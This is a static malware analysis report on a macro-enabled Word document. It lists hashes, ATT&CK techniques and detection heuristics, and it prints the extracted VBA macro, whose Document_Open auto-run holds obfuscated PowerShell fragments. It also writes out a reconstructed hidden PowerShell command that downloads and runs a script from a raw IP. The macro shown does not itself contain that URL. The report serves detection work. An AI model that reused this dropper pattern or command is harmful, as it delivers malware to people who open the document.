Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6afa580a4d3f5905…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2021-07-16 10:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 7a0cda1821517e68926d4d0bc60f3072 SHA-1: 66725a1001ae1b400a4d7ac5e21f6d0f66998046 SHA-256: 6afa580a4d3f5905adc2fe8f7ce8d7b97d47bb197e1689006d0d5381f61cc137
70 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with a Document_Open auto-execution function. This macro attempts to execute a PowerShell command that downloads and executes a second-stage payload from the URL http://185.196.70.115/a.ps1. The PowerShell command is constructed by concatenating strings, and the reconstructed command is: powershell.exe -nop -W hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://185.196.70.115/a.ps1')". This indicates a downloader or droppper functionality.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1975 bytes
SHA-256: a1e71220135952cbd0274c964d7540474199fa8638274b118e4b618960610e27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Formatting preserved (yay)
Function ROT13(ByRef text As String)
    Const kLowerCaseStart = 97
    Const kAlphabetRange = 26
    Const kUpperCaseStart = 65
    Const kRotRange = kAlphabetRange / 2
    Dim baseOffset As Long
    Dim result As String
    
    '' we have a nonzero length selection
    If Len(text) > 0 Then
        For i = 1 To Len(text)
            baseOffset = 0
            c = Mid(text, i, 1)
            cc = Asc(c)
            
            ' Determine if we found a rot13-capable char
            If cc >= kLowerCaseStart And cc < (kLowerCaseStart + kAlphabetRange) Then
                baseOffset = kLowerCaseStart
            ElseIf cc >= kUpperCaseStart And cc < (kUpperCaseStart + kAlphabetRange) Then
                baseOffset = kUpperCaseStart
            End If
            
            ' do a ROT13 if we found a char that can be rotated
            If baseOffset > 0 Then
                theRot13Code = (((cc - baseOffset) + kRotRange) Mod kAlphabetRange) + baseOffset
                theRot13Char = Chr(theRot13Code)
                result = result + theRot13Char
            
            Else
                result = result + c
            End If
            
        Next
    End If
    
    ROT13 = result
End Function

Private Sub ProcessImage()
    Dim str As String
         po = "pow^er" & _
                "s^h"
         wer = "el^l.e" & _
                "xe -no"
         sh = "p -Win" & _
                "dowsst" & "yle hi" & _
                "dden -Co" & _
                "mmand- "
    


End Sub

Private Sub Document_Open()
    ProcessImage
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: dfa67b3b2f4b96d0b699d7caab3a846383c09560b98f776c01c7fd851b82a523

Open this report in the interactive analyzer, or submit your own file for analysis.